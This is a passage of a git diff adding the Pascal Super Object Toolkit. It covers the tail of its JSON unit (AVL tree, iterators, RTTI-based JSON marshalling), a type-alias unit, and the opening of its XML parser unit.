begin + node2 := node1.FGt; + if (node1.FPtr = nil) then + list.Add(node1) else + if all then + node1.Value.Pack(all); + end + else + begin + node2 := node1.FLt; + node1.FLt := node2.FGt; + node2.FGt := node1; + end; + node1 := node2; + end; + for i := 0 to list.Count - 1 do + Delete(TSuperAvlEntry(list[i]).FName); + list.Free; +end; + +procedure TSuperAvlTree.Clear(all: boolean); +var + node1, node2: TSuperAvlEntry; +begin + node1 := FRoot; + while node1 <> nil do + begin + if (node1.FLt = nil) then + begin + node2 := node1.FGt; + doDeleteEntry(node1, all); + end + else + begin + node2 := node1.FLt; + node1.FLt := node2.FGt; + node2.FGt := node1; + end; + node1 := node2; + end; + FRoot := nil; + FCount := 0; +end; + +function TSuperAvlTree.CompareKeyNode(const k: SOString; h: TSuperAvlEntry): integer; +begin + Result := StrComp(PSOChar(k), PSOChar(h.FName)); +end; + +function TSuperAvlTree.CompareNodeNode(node1, node2: TSuperAvlEntry): integer; +begin + Result := StrComp(PSOChar(node1.FName), PSOChar(node2.FName)); +end; + +{ TSuperAvlIterator } + +(* Initialize depth to invalid value, to indicate iterator is +** invalid. (Depth is zero-base.) It's not necessary to initialize +** iterators prior to passing them to the "start" function. +*) + +constructor TSuperAvlIterator.Create(tree: TSuperAvlTree); +begin + FDepth := not 0; + FTree := tree; +end; + +procedure TSuperAvlIterator.Search(const k: SOString; st: TSuperAvlSearchTypes); +var + h: TSuperAvlEntry; + d: longint; + cmp, target_cmp: integer; + ha: Cardinal; +begin + ha := TSuperAvlEntry.Hash(k); + h := FTree.FRoot; + d := 0; + FDepth := not 0; + if (h = nil) then + exit; + + if (stLess in st) then + target_cmp := 1 else + if (stGreater in st) then + target_cmp := -1 else + target_cmp := 0; + + while true do + begin + if h.FHash < ha then cmp := -1 else + if h.FHash > ha then cmp := 1 else + cmp := 0; + + if cmp = 0 then + cmp := FTree.CompareKeyNode(k, h); + if (cmp = 0) then + begin + if (stEqual in st) then + begin + FDepth := d; + break; + end; + cmp := -target_cmp; + end + else + if (target_cmp <> 0) then + if ((cmp xor target_cmp) and SUPER_AVL_MASK_HIGH_BIT) = 0 then + FDepth := d; + if cmp < 0 then + h := h.FLt else + h := h.FGt; + if (h = nil) then + break; + if (cmp > 0) then + include(FBranch, d) else + exclude(FBranch, d); + FPath[d] := h; + inc(d); + end; +end; + +procedure TSuperAvlIterator.First; +var + h: TSuperAvlEntry; +begin + h := FTree.FRoot; + FDepth := not 0; + FBranch := []; + while (h <> nil) do + begin + if (FDepth <> not 0) then + FPath[FDepth] := h; + inc(FDepth); + h := h.FLt; + end; +end; + +procedure TSuperAvlIterator.Last; +var + h: TSuperAvlEntry; +begin + h := FTree.FRoot; + FDepth := not 0; + FBranch := [0..SUPER_AVL_MAX_DEPTH - 1]; + while (h <> nil) do + begin + if (FDepth <> not 0) then + FPath[FDepth] := h; + inc(FDepth); + h := h.FGt; + end; +end; + +function TSuperAvlIterator.MoveNext: boolean; +begin + if FDepth = not 0 then + First else + Next; + Result := GetIter <> nil; +end; + +function TSuperAvlIterator.GetIter: TSuperAvlEntry; +begin + if (FDepth = not 0) then + begin + result := nil; + exit; + end; + if FDepth = 0 then + Result := FTree.FRoot else + Result := FPath[FDepth - 1]; +end; + +procedure TSuperAvlIterator.Next; +var + h: TSuperAvlEntry; +begin + if (FDepth <> not 0) then + begin + if FDepth = 0 then + h := FTree.FRoot.FGt else + h := FPath[FDepth - 1].FGt; + + if (h = nil) then + repeat + if (FDepth = 0) then + begin + FDepth := not 0; + break; + end; + dec(FDepth); + until (not (FDepth in FBranch)) + else + begin + include(FBranch, FDepth); + FPath[FDepth] := h; + inc(FDepth); + while true do + begin + h := h.FLt; + if (h = nil) then + break; + exclude(FBranch, FDepth); + FPath[FDepth] := h; + inc(FDepth); + end; + end; + end; +end; + +procedure TSuperAvlIterator.Prior; +var + h: TSuperAvlEntry; +begin + if (FDepth <> not 0) then + begin + if FDepth = 0 then + h := FTree.FRoot.FLt else + h := FPath[FDepth - 1].FLt; + if (h = nil) then + repeat + if (FDepth = 0) then + begin + FDepth := not 0; + break; + end; + dec(FDepth); + until (FDepth in FBranch) + else + begin + exclude(FBranch, FDepth); + FPath[FDepth] := h; + inc(FDepth); + while true do + begin + h := h.FGt; + if (h = nil) then + break; + include(FBranch, FDepth); + FPath[FDepth] := h; + inc(FDepth); + end; + end; + end; +end; + +procedure TSuperAvlTree.doDeleteEntry(Entry: TSuperAvlEntry; all: boolean); +begin + Entry.Free; +end; + +function TSuperAvlTree.GetEnumerator: TSuperAvlIterator; +begin + Result := TSuperAvlIterator.Create(Self); +end; + +{ TSuperAvlEntry } + +constructor TSuperAvlEntry.Create(const AName: SOString; Obj: Pointer); +begin + FName := AName; + FPtr := Obj; + FHash := Hash(FName); +end; + +function TSuperAvlEntry.GetValue: ISuperObject; +begin + Result := ISuperObject(FPtr) +end; + +class function TSuperAvlEntry.Hash(const k: SOString): Cardinal; +var + h: cardinal; + i: Integer; +begin + h := 0; + for i := 1 to Length(k) do + h := h*129 + ord(k[i]) + $9e370001; + Result := h; +end; + +procedure TSuperAvlEntry.SetValue(const val: ISuperObject); +begin + ISuperObject(FPtr) := val; +end; + +{ TSuperTableString } + +function TSuperTableString.GetValues: ISuperObject; +var + ite: TSuperAvlIterator; + obj: TSuperAvlEntry; +begin + Result := TSuperObject.Create(stArray); + ite := TSuperAvlIterator.Create(Self); + try + ite.First; + obj := ite.GetIter; + while obj <> nil do + begin + Result.AsArray.Add(obj.Value); + ite.Next; + obj := ite.GetIter; + end; + finally + ite.Free; + end; +end; + +function TSuperTableString.GetNames: ISuperObject; +var + ite: TSuperAvlIterator; + obj: TSuperAvlEntry; +begin + Result := TSuperObject.Create(stArray); + ite := TSuperAvlIterator.Create(Self); + try + ite.First; + obj := ite.GetIter; + while obj <> nil do + begin + Result.AsArray.Add(TSuperObject.Create(obj.FName)); + ite.Next; + obj := ite.GetIter; + end; + finally + ite.Free; + end; +end; + +procedure TSuperTableString.doDeleteEntry(Entry: TSuperAvlEntry; all: boolean); +begin + if Entry.Ptr <> nil then + begin + if all then Entry.Value.Clear(true); + Entry.Value := nil; + end; + inherited; +end; + +function TSuperTableString.Find(const k: SOString; var value: ISuperObject): Boolean; +var + e: TSuperAvlEntry; +begin + e := Search(k); + if e <> nil then + begin + value := e.Value; + Result := True; + end else + Result := False; +end; + +function TSuperTableString.Exists(const k: SOString): Boolean; +begin + Result := Search(k) <> nil; +end; + +function TSuperTableString.GetO(const k: SOString): ISuperObject; +var + e: TSuperAvlEntry; +begin + e := Search(k); + if e <> nil then + Result := e.Value else + Result := nil +end; + +procedure TSuperTableString.PutO(const k: SOString; const value: ISuperObject); +var + entry: TSuperAvlEntry; +begin + entry := Insert(TSuperAvlEntry.Create(k, Pointer(value))); + if entry.FPtr <> nil then + ISuperObject(entry.FPtr)._AddRef; +end; + +procedure TSuperTableString.PutS(const k: SOString; const value: SOString); +begin + PutO(k, TSuperObject.Create(Value)); +end; + +function TSuperTableString.GetS(const k: SOString): SOString; +var + obj: ISuperObject; +begin + obj := GetO(k); + if obj <> nil then + Result := obj.AsString else + Result := ''; +end; + +procedure TSuperTableString.PutI(const k: SOString; value: SuperInt); +begin + PutO(k, TSuperObject.Create(Value)); +end; + +function TSuperTableString.GetI(const k: SOString): SuperInt; +var + obj: ISuperObject; +begin + obj := GetO(k); + if obj <> nil then + Result := obj.AsInteger else + Result := 0; +end; + +procedure TSuperTableString.PutD(const k: SOString; value: Double); +begin + PutO(k, TSuperObject.Create(Value)); +end; + +procedure TSuperTableString.PutC(const k: SOString; value: Currency); +begin + PutO(k, TSuperObject.CreateCurrency(Value)); +end; + +function TSuperTableString.GetC(const k: SOString): Currency; +var + obj: ISuperObject; +begin + obj := GetO(k); + if obj <> nil then + Result := obj.AsCurrency else + Result := 0.0; +end; + +function TSuperTableString.GetD(const k: SOString): Double; +var + obj: ISuperObject; +begin + obj := GetO(k); + if obj <> nil then + Result := obj.AsDouble else + Result := 0.0; +end; + +procedure TSuperTableString.PutB(const k: SOString; value: Boolean); +begin + PutO(k, TSuperObject.Create(Value)); +end; + +function TSuperTableString.GetB(const k: SOString): Boolean; +var + obj: ISuperObject; +begin + obj := GetO(k); + if obj <> nil then + Result := obj.AsBoolean else + Result := False; +end; + +{$IFDEF SUPER_METHOD} +procedure TSuperTableString.PutM(const k: SOString; value: TSuperMethod); +begin + PutO(k, TSuperObject.Create(Value)); +end; +{$ENDIF} + +{$IFDEF SUPER_METHOD} +function TSuperTableString.GetM(const k: SOString): TSuperMethod; +var + obj: ISuperObject; +begin + obj := GetO(k); + if obj <> nil then + Result := obj.AsMethod else + Result := nil; +end; +{$ENDIF} + +procedure TSuperTableString.PutN(const k: SOString; const value: ISuperObject); +begin + if value <> nil then + PutO(k, TSuperObject.Create(stNull)) else + PutO(k, value); +end; + +function TSuperTableString.GetN(const k: SOString): ISuperObject; +var + obj: ISuperObject; +begin + obj := GetO(k); + if obj <> nil then + Result := obj else + Result := TSuperObject.Create(stNull); +end; + + +{$IFDEF HAVE_RTTI} + +{ TSuperAttribute } + +constructor TSuperAttribute.Create(const AName: string); +begin + FName := AName; +end; + +{ TSuperRttiContext } + +constructor TSuperRttiContext.Create; +begin + Context := TRttiContext.Create; + SerialFromJson := TDictionary<PTypeInfo, TSerialFromJson>.Create; + SerialToJson := TDictionary<PTypeInfo, TSerialToJson>.Create; + + SerialFromJson.Add(TypeInfo(Boolean), serialfromboolean); + SerialFromJson.Add(TypeInfo(TDateTime), serialfromdatetime); + SerialFromJson.Add(TypeInfo(TGUID), serialfromguid); + SerialToJson.Add(TypeInfo(Boolean), serialtoboolean); + SerialToJson.Add(TypeInfo(TDateTime), serialtodatetime); + SerialToJson.Add(TypeInfo(TGUID), serialtoguid); +end; + +destructor TSuperRttiContext.Destroy; +begin + SerialFromJson.Free; + SerialToJson.Free; + Context.Free; +end; + +class function TSuperRttiContext.GetFieldName(r: TRttiField): string; +var + o: TCustomAttribute; +begin + for o in r.GetAttributes do + if o is SOName then + Exit(SOName(o).Name); + Result := r.Name; +end; + +class function TSuperRttiContext.GetFieldDefault(r: TRttiField; const obj: ISuperObject): ISuperObject; +var + o: TCustomAttribute; +begin + if not ObjectIsType(obj, stNull) then Exit(obj); + for o in r.GetAttributes do + if o is SODefault then + Exit(SO(SODefault(o).Name)); + Result := obj; +end; + +function TSuperRttiContext.AsType<T>(const obj: ISuperObject): T; +var + ret: TValue; +begin + if FromJson(TypeInfo(T), obj, ret) then + Result := ret.AsType<T> else + raise exception.Create('Marshalling error'); +end; + +function TSuperRttiContext.AsJson<T>(const obj: T; const index: ISuperObject = nil): ISuperObject; +var + v: TValue; +begin + TValue.Make(@obj, TypeInfo(T), v); + if index <> nil then + Result := ToJson(v, index) else + Result := ToJson(v, so); +end; + +function TSuperRttiContext.FromJson(TypeInfo: PTypeInfo; const obj: ISuperObject; + var Value: TValue): Boolean; + + procedure FromChar; + begin + if ObjectIsType(obj, stString) and (Length(obj.AsString) = 1) then + begin + Value := string(AnsiString(obj.AsString)[1]); + Result := True; + end else + Result := False; + end; + + procedure FromWideChar; + begin + if ObjectIsType(obj, stString) and (Length(obj.AsString) = 1) then + begin + Value := obj.AsString[1]; + Result := True; + end else + Result := False; + end; + + procedure FromInt64; + var + i: Int64; + begin + case ObjectGetType(obj) of + stInt: + begin + TValue.Make(nil, TypeInfo, Value); + TValueData(Value).FAsSInt64 := obj.AsInteger; + Result := True; + end; + stString: + begin + if TryStrToInt64(obj.AsString, i) then + begin + TValue.Make(nil, TypeInfo, Value); + TValueData(Value).FAsSInt64 := i; + Result := True; + end else + Result := False; + end; + else + Result := False; + end; + end; + + procedure FromInt(const obj: ISuperObject); + var + TypeData: PTypeData; + i: Integer; + o: ISuperObject; + begin + case ObjectGetType(obj) of + stInt, stBoolean: + begin + i := obj.AsInteger; + TypeData := GetTypeData(TypeInfo); + if TypeData.MaxValue > TypeData.MinValue then + Result := (i >= TypeData.MinValue) and (i <= TypeData.MaxValue) else + Result := (i >= TypeData.MinValue) and (i <= Int64(PCardinal(@TypeData.MaxValue)^)); + if Result then + TValue.Make(@i, TypeInfo, Value); + end; + stString: + begin + o := SO(obj.AsString); + if not ObjectIsType(o, stString) then + FromInt(o) else + Result := False; + end; + else + Result := False; + end; + end; + + procedure fromSet; + var + i: Integer; + begin + case ObjectGetType(obj) of + stInt: + begin + TValue.Make(nil, TypeInfo, Value); + TValueData(Value).FAsSLong := obj.AsInteger; + Result := True; + end; + stString: + begin + if TryStrToInt(obj.AsString, i) then + begin + TValue.Make(nil, TypeInfo, Value); + TValueData(Value).FAsSLong := i; + Result := True; + end else + Result := False; + end; + else + Result := False; + end; + end; + + procedure FromFloat(const obj: ISuperObject); + var + o: ISuperObject; + begin + case ObjectGetType(obj) of + stInt, stDouble, stCurrency: + begin + TValue.Make(nil, TypeInfo, Value); + case GetTypeData(TypeInfo).FloatType of + ftSingle: TValueData(Value).FAsSingle := obj.AsDouble; + ftDouble: TValueData(Value).FAsDouble := obj.AsDouble; + ftExtended: TValueData(Value).FAsExtended := obj.AsDouble; + ftComp: TValueData(Value).FAsSInt64 := obj.AsInteger; + ftCurr: TValueData(Value).FAsCurr := obj.AsCurrency; + end; + Result := True; + end; + stString: + begin + o := SO(obj.AsString); + if not ObjectIsType(o, stString) then + FromFloat(o) else + Result := False; + end + else + Result := False; + end; + end; + + procedure FromString; + begin + case ObjectGetType(obj) of + stObject, stArray: + Result := False; + stnull: + begin + Value := ''; + Result := True; + end; + else + Value := obj.AsString; + Result := True; + end; + end; + + procedure FromClass; + var + f: TRttiField; + v: TValue; + begin + case ObjectGetType(obj) of + stObject: + begin + Result := True; + if Value.Kind <> tkClass then + Value := GetTypeData(TypeInfo).ClassType.Create; + for f in Context.GetType(Value.AsObject.ClassType).GetFields do + if f.FieldType <> nil then + begin + v := TValue.Empty; + Result := FromJson(f.FieldType.Handle, GetFieldDefault(f, obj.AsObject[GetFieldName(f)]), v); + if Result then + f.SetValue(Value.AsObject, v) else + Exit; + end; + end; + stNull: + begin + Value := nil; + Result := True; + end + else + // error + Value := nil; + Result := False; + end; + end; + + procedure FromRecord; + var + f: TRttiField; + p: Pointer; + v: TValue; + begin + Result := True; + TValue.Make(nil, TypeInfo, Value); + for f in Context.GetType(TypeInfo).GetFields do + begin + if ObjectIsType(obj, stObject) and (f.FieldType <> nil) then + begin +{$IFDEF VER210} + p := IValueData(TValueData(Value).FHeapData).GetReferenceToRawData; +{$ELSE} + p := TValueData(Value).FValueData.GetReferenceToRawData; +{$ENDIF} + Result := FromJson(f.FieldType.Handle, GetFieldDefault(f, obj.AsObject[GetFieldName(f)]), v); + if Result then + f.SetValue(p, v) else + begin + //Writeln(f.Name); + Exit; + end; + end else + begin + Result := False; + Exit; + end; + end; + end; + + procedure FromDynArray; + var + i: Integer; + p: Pointer; + pb: PByte; + val: TValue; + typ: PTypeData; + el: PTypeInfo; + begin + case ObjectGetType(obj) of + stArray: + begin + i := obj.AsArray.Length; + p := nil; + DynArraySetLength(p, TypeInfo, 1, @i); + pb := p; + typ := GetTypeData(TypeInfo); + if typ.elType <> nil then + el := typ.elType^ else + el := typ.elType2^; + + Result := True; + for i := 0 to i - 1 do + begin + Result := FromJson(el, obj.AsArray[i], val); + if not Result then + Break; + val.ExtractRawData(pb); + val := TValue.Empty; + Inc(pb, typ.elSize); + end; + if Result then + TValue.MakeWithoutCopy(@p, TypeInfo, Value) else + DynArrayClear(p, TypeInfo); + end; + stNull: + begin + TValue.MakeWithoutCopy(nil, TypeInfo, Value); + Result := True; + end; + else + i := 1; + p := nil; + DynArraySetLength(p, TypeInfo, 1, @i); + pb := p; + typ := GetTypeData(TypeInfo); + if typ.elType <> nil then + el := typ.elType^ else + el := typ.elType2^; + + Result := FromJson(el, obj, val); + val.ExtractRawData(pb); + val := TValue.Empty; + + if Result then + TValue.MakeWithoutCopy(@p, TypeInfo, Value) else + DynArrayClear(p, TypeInfo); + end; + end; + + procedure FromArray; + var + ArrayData: PArrayTypeData; + idx: Integer; + function ProcessDim(dim: Byte; const o: ISuperobject): Boolean; + var + i: Integer; + v: TValue; + a: PTypeData; + begin + if ObjectIsType(o, stArray) and (ArrayData.Dims[dim-1] <> nil) then + begin + a := @GetTypeData(ArrayData.Dims[dim-1]^).ArrayData; + if (a.MaxValue - a.MinValue + 1) <> o.AsArray.Length then + begin + Result := False; + Exit; + end; + Result := True; + if dim = ArrayData.DimCount then + for i := a.MinValue to a.MaxValue do + begin + Result := FromJson(ArrayData.ElType^, o.AsArray[i], v); + if not Result then + Exit; + Value.SetArrayElement(idx, v); + inc(idx); + end + else + for i := a.MinValue to a.MaxValue do + begin + Result := ProcessDim(dim + 1, o.AsArray[i]); + if not Result then + Exit; + end; + end else + Result := False; + end; + var + i: Integer; + v: TValue; + begin + TValue.Make(nil, TypeInfo, Value); + ArrayData := @GetTypeData(TypeInfo).ArrayData; + idx := 0; + if ArrayData.DimCount = 1 then + begin + if ObjectIsType(obj, stArray) and (obj.AsArray.Length = ArrayData.ElCount) then + begin + Result := True; + for i := 0 to ArrayData.ElCount - 1 do + begin + Result := FromJson(ArrayData.ElType^, obj.AsArray[i], v); + if not Result then + Exit; + Value.SetArrayElement(idx, v); + v := TValue.Empty; + inc(idx); + end; + end else + Result := False; + end else + Result := ProcessDim(1, obj); + end; + + procedure FromClassRef; + var + r: TRttiType; + begin + if ObjectIsType(obj, stString) then + begin + r := Context.FindType(obj.AsString); + if r <> nil then + begin + Value := TRttiInstanceType(r).MetaclassType; + Result := True; + end else + Result := False; + end else + Result := False; + end; + + procedure FromUnknown; + begin + case ObjectGetType(obj) of + stBoolean: + begin + Value := obj.AsBoolean; + Result := True; + end; + stDouble: + begin + Value := obj.AsDouble; + Result := True; + end; + stCurrency: + begin + Value := obj.AsCurrency; + Result := True; + end; + stInt: + begin + Value := obj.AsInteger; + Result := True; + end; + stString: + begin + Value := obj.AsString; + Result := True; + end + else + Value := nil; + Result := False; + end; + end; + + procedure FromInterface; + const soguid: TGuid = '{4B86A9E3-E094-4E5A-954A-69048B7B6327}'; + var + o: ISuperObject; + begin + if CompareMem(@GetTypeData(TypeInfo).Guid, @soguid, SizeOf(TGUID)) then + begin + if obj <> nil then + TValue.Make(@obj, TypeInfo, Value) else + begin + o := TSuperObject.Create(stNull); + TValue.Make(@o, TypeInfo, Value); + end; + Result := True; + end else + Result := False; + end; +var + Serial: TSerialFromJson; +begin + + if TypeInfo <> nil then + begin + if not SerialFromJson.TryGetValue(TypeInfo, Serial) then + case TypeInfo.Kind of + tkChar: FromChar; + tkInt64: FromInt64; + tkEnumeration, tkInteger: FromInt(obj); + tkSet: fromSet; + tkFloat: FromFloat(obj); + tkString, tkLString, tkUString, tkWString: FromString; + tkClass: FromClass; + tkMethod: ; + tkWChar: FromWideChar; + tkRecord: FromRecord; + tkPointer: ; + tkInterface: FromInterface; + tkArray: FromArray; + tkDynArray: FromDynArray; + tkClassRef: FromClassRef; + else + FromUnknown + end else + begin + TValue.Make(nil, TypeInfo, Value); + Result := Serial(Self, obj, Value); + end; + end else + Result := False; +end; + +function TSuperRttiContext.ToJson(var value: TValue; const index: ISuperObject): ISuperObject; + procedure ToInt64; + begin + Result := TSuperObject.Create(SuperInt(Value.AsInt64)); + end; + + procedure ToChar; + begin + Result := TSuperObject.Create(string(Value.AsType<AnsiChar>)); + end; + + procedure ToInteger; + begin + Result := TSuperObject.Create(TValueData(Value).FAsSLong); + end; + + procedure ToFloat; + begin + case Value.TypeData.FloatType of + ftSingle: Result := TSuperObject.Create(TValueData(Value).FAsSingle); + ftDouble: Result := TSuperObject.Create(TValueData(Value).FAsDouble); + ftExtended: Result := TSuperObject.Create(TValueData(Value).FAsExtended); + ftComp: Result := TSuperObject.Create(TValueData(Value).FAsSInt64); + ftCurr: Result := TSuperObject.CreateCurrency(TValueData(Value).FAsCurr); + end; + end; + + procedure ToString; + begin + Result := TSuperObject.Create(string(Value.AsType<string>)); + end; + + procedure ToClass; + var + o: ISuperObject; + f: TRttiField; + v: TValue; + begin + if TValueData(Value).FAsObject <> nil then + begin + o := index[IntToStr(NativeInt(Value.AsObject))]; + if o = nil then + begin + Result := TSuperObject.Create(stObject); + index[IntToStr(NativeInt(Value.AsObject))] := Result; + for f in Context.GetType(Value.AsObject.ClassType).GetFields do + if f.FieldType <> nil then + begin + v := f.GetValue(Value.AsObject); + Result.AsObject[GetFieldName(f)] := ToJson(v, index); + end + end else + Result := o; + end else + Result := nil; + end; + + procedure ToWChar; + begin + Result := TSuperObject.Create(string(Value.AsType<WideChar>)); + end; + + procedure ToVariant; + begin + Result := SO(Value.AsVariant); + end; + + procedure ToRecord; + var + f: TRttiField; + v: TValue; + begin + Result := TSuperObject.Create(stObject); + for f in Context.GetType(Value.TypeInfo).GetFields do + begin +{$IFDEF VER210} + v := f.GetValue(IValueData(TValueData(Value).FHeapData).GetReferenceToRawData); +{$ELSE} + v := f.GetValue(TValueData(Value).FValueData.GetReferenceToRawData); +{$ENDIF} + Result.AsObject[GetFieldName(f)] := ToJson(v, index); + end; + end; + + procedure ToArray; + var + idx: Integer; + ArrayData: PArrayTypeData; + + procedure ProcessDim(dim: Byte; const o: ISuperObject); + var + dt: PTypeData; + i: Integer; + o2: ISuperObject; + v: TValue; + begin + if ArrayData.Dims[dim-1] = nil then Exit; + dt := GetTypeData(ArrayData.Dims[dim-1]^); + if Dim = ArrayData.DimCount then + for i := dt.MinValue to dt.MaxValue do + begin + v := Value.GetArrayElement(idx); + o.AsArray.Add(toJSon(v, index)); + inc(idx); + end + else + for i := dt.MinValue to dt.MaxValue do + begin + o2 := TSuperObject.Create(stArray); + o.AsArray.Add(o2); + ProcessDim(dim + 1, o2); + end; + end; + var + i: Integer; + v: TValue; + begin + Result := TSuperObject.Create(stArray); + ArrayData := @Value.TypeData.ArrayData; + idx := 0; + if ArrayData.DimCount = 1 then + for i := 0 to ArrayData.ElCount - 1 do + begin + v := Value.GetArrayElement(i); + Result.AsArray.Add(toJSon(v, index)) + end + else + ProcessDim(1, Result); + end; + + procedure ToDynArray; + var + i: Integer; + v: TValue; + begin + Result := TSuperObject.Create(stArray); + for i := 0 to Value.GetArrayLength - 1 do + begin + v := Value.GetArrayElement(i); + Result.AsArray.Add(toJSon(v, index)); + end; + end; + + procedure ToClassRef; + begin + if TValueData(Value).FAsClass <> nil then + Result := TSuperObject.Create(string( + TValueData(Value).FAsClass.UnitName + '.' + + TValueData(Value).FAsClass.ClassName)) else + Result := nil; + end; + + procedure ToInterface; +{$IFNDEF VER210} + var + intf: IInterface; +{$ENDIF} + begin +{$IFDEF VER210} + if TValueData(Value).FHeapData <> nil then + TValueData(Value).FHeapData.QueryInterface(ISuperObject, Result) else + Result := nil; +{$ELSE} + if TValueData(Value).FValueData <> nil then + begin + intf := IInterface(PPointer(TValueData(Value).FValueData.GetReferenceToRawData)^); + if intf <> nil then + intf.QueryInterface(ISuperObject, Result) else + Result := nil; + end else + Result := nil; +{$ENDIF} + end; + +var + Serial: TSerialToJson; +begin + if not SerialToJson.TryGetValue(value.TypeInfo, Serial) then + case Value.Kind of + tkInt64: ToInt64; + tkChar: ToChar; + tkSet, tkInteger, tkEnumeration: ToInteger; + tkFloat: ToFloat; + tkString, tkLString, tkUString, tkWString: ToString; + tkClass: ToClass; + tkWChar: ToWChar; + tkVariant: ToVariant; + tkRecord: ToRecord; + tkArray: ToArray; + tkDynArray: ToDynArray; + tkClassRef: ToClassRef; + tkInterface: ToInterface; + else + result := nil; + end else + Result := Serial(Self, value, index); +end; + +{ TSuperObjectHelper } + +constructor TSuperObjectHelper.FromJson(const obj: ISuperObject; ctx: TSuperRttiContext = nil); +var + v: TValue; + ctxowned: Boolean; +begin + if ctx = nil then + begin + ctx := TSuperRttiContext.Create; + ctxowned := True; + end else + ctxowned := False; + try + v := Self; + if not ctx.FromJson(v.TypeInfo, obj, v) then + raise Exception.Create('Invalid object'); + finally + if ctxowned then + ctx.Free; + end; +end; + +constructor TSuperObjectHelper.FromJson(const str: string; ctx: TSuperRttiContext = nil); +begin + FromJson(SO(str), ctx); +end; + +function TSuperObjectHelper.ToJson(ctx: TSuperRttiContext = nil): ISuperObject; +var + v: TValue; + ctxowned: boolean; +begin + if ctx = nil then + begin + ctx := TSuperRttiContext.Create; + ctxowned := True; + end else + ctxowned := False; + try + v := Self; + Result := ctx.ToJson(v, SO); + finally + if ctxowned then + ctx.Free; + end; +end; + +{$ENDIF} + +{$IFDEF DEBUG} +initialization + +finalization + Assert(debugcount = 0, 'Memory leak'); +{$ENDIF} +end. + diff --git a/Core/JSON/supertypes.pas b/Core/JSON/supertypes.pas new file mode 100755 index 0000000..dbb9a03 --- /dev/null +++ b/Core/JSON/supertypes.pas @@ -0,0 +1,38 @@ +unit supertypes; + +{$IFDEF FPC} + {$MODE OBJFPC}{$H+} +{$ENDIF} + +interface + +type +{$IFNDEF FPC} +{$IFDEF CPUX64} + PtrInt = Int64; + PtrUInt = UInt64; +{$ELSE} + PtrInt = longint; + PtrUInt = Longword; +{$ENDIF} +{$ENDIF} + SuperInt = Int64; + +{$if (sizeof(Char) = 1)} + SOChar = WideChar; + SOIChar = Word; + PSOChar = PWideChar; +{$IFDEF FPC} + SOString = UnicodeString; +{$ELSE} + SOString = WideString; +{$ENDIF} +{$else} + SOChar = Char; + SOIChar = Word; + PSOChar = PChar; + SOString = string; +{$ifend} +implementation + +end. diff --git a/Core/JSON/superxmlparser.pas b/Core/JSON/superxmlparser.pas new file mode 100755 index 0000000..340a6f2 --- /dev/null +++ b/Core/JSON/superxmlparser.pas @@ -0,0 +1,1474 @@ +(* + * Super Object Toolkit + * + * Usage allowed under the restrictions of the Lesser GNU General Public License + * or alternatively the restrictions of the Mozilla Public License 1.1 + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for + * the specific language governing rights and limitations under the License. + * + * Embarcadero Technologies Inc is not permitted to use or redistribute + * this source code without explicit permission. + * + * Unit owner : Henri Gourvest <hgourvest@gmail.com> + * Web site : http://www.progdigy.com + *) + + unit superxmlparser; +{$IFDEF FPC} + {$MODE OBJFPC}{$H+} +{$ENDIF} + +interface + +uses superobject, classes, supertypes; + +type + TOnProcessingInstruction = procedure(const PI, PIParent: ISuperObject); + +function XMLParseString(const data: SOString; pack: Boolean = false; onpi: TOnProcessingInstruction = nil): ISuperObject; +function XMLParseStream(stream: TStream; pack: Boolean = false; onpi: TOnProcessingInstruction = nil): ISuperObject; +function XMLParseFile(const FileName: string; pack: Boolean = false; onpi: TOnProcessingInstruction = nil): ISuperObject; + +{$IFDEF UNICODE} +type + TXMLWriteMethod = reference to procedure(const data: string); +procedure XMLWrite(const node: ISuperObject; const method: TXMLWriteMethod); +{$ENDIF} + +const + xmlname = '#name'; + xmlattributes = '#attributes'; + xmlchildren = '#children'; + xmltext = '#text'; + + dtdname = '#name'; + dtdPubidLiteral = '#pubidliteral'; + dtdSystemLiteral = '#systemliteral'; + + +implementation +uses sysutils {$IFNDEF UNIX}, windows{$ENDIF}; + +const + XML_SPACE : PSOChar = #32; +// XML_ARL: PSOChar = '['; + XML_ARR: PSOChar = ']'; + XML_BIG: PSOChar = '>'; + XML_LOW: PSOChar = '<'; + XML_AMP: PSOChar = '&'; + XML_SQU: PSOChar = ''''; + XML_DQU: PSOChar = '"'; + +type + TSuperXMLState = ( + xsStart, // | + xsEatSpaces, // + xsElement, // <| + xsElementName, // <[a..z]| + xsAttributes, // <xml | + xsAttributeName, // <xml a| + xsEqual, // |= ... + xsAttributeValue, // = |"... + xsCloseEmptyElement, // <xml/| + xsTryCloseElement, // <xml>..<| + xsCloseElementName, // <xml>..</| + xsChildren, // <xml>| + xsElementString, // <xml> |azer + xsElementComment, // <!|-- ... + xsElementDocType, // <!D| + xsElementDocTypeName, // <!DOCTYPE |... + xsElementDocTypeExternId, // <!DOCTYPE xml | + xsElementDocTypeExternIdPublic, // <!DOCTYPE xml P| + xsElementDocTypeExternIdSystem, // <!DOCTYPE xml S| + xsElementDocTypePubIdLiteral, // <!DOCTYPE xml SYSTEM |" + xsElementDocTypeSystemLiteral, // <!DOCTYPE xml SYSTEM "" |"" + xsElementDocTypeTryIntSubset, + xsElementDocTypeIntSubset, + xsElementDocTypeTryClose, + xsElementDocTypeEat, // + xsCloseElementComment, // <!-- -|-> + xsElementPI, // <?| + xsElementDataPI, // not an xml PI + xsCloseElementPI, // <? ?|> + xsElementCDATA, // <![|CDATA[ + xsClodeElementCDATA, // ]|]> + xsEscape, // &| + xsEscape_lt, // &l|t; + xsEscape_gt, // &g|t; + xsEscape_amp, // &a|mp; + xsEscape_apos, // &a|pos; + xsEscape_quot, // &q|uot; + xsEscape_char, // &#|; + xsEscape_char_num, // |123456; + xsEscape_char_hex, // &#x|000FFff; + xsEnd); + + TSuperXMLError = (xeSuccess, xeContinue, xeProcessInst, xeError); + TSuperXMLElementClass = (xcNone, xcElement, xcComment, xcString, xcCdata, xcDocType, xcProcessInst); + TSuperXMLEncoding = ({$IFNDEF UNIX}xnANSI,{$ENDIF} xnUTF8, xnUnicode); + +{$IFDEF UNICODE} + procedure XMLWrite(const node: ISuperObject; const method: TXMLWriteMethod); + procedure Escape(const str: string); + var + p1, p2: PChar; + procedure push(const data: string); + begin + if p2 > p1 then + method(Copy(p1, 0, p2-p1)); + Inc(p2); + p1 := p2; + if data <> '' then + method(data); + end; + begin + p1 := PChar(str); + p2 := p1; + + while True do + case p2^ of + '<': push('<'); + '>': push('>'); + '&': push('&'); + '"': push('"'); + #0 : + begin + push(''); + Break; + end; + else + inc(p2); + end; + end; + var + o: ISuperObject; + ent: 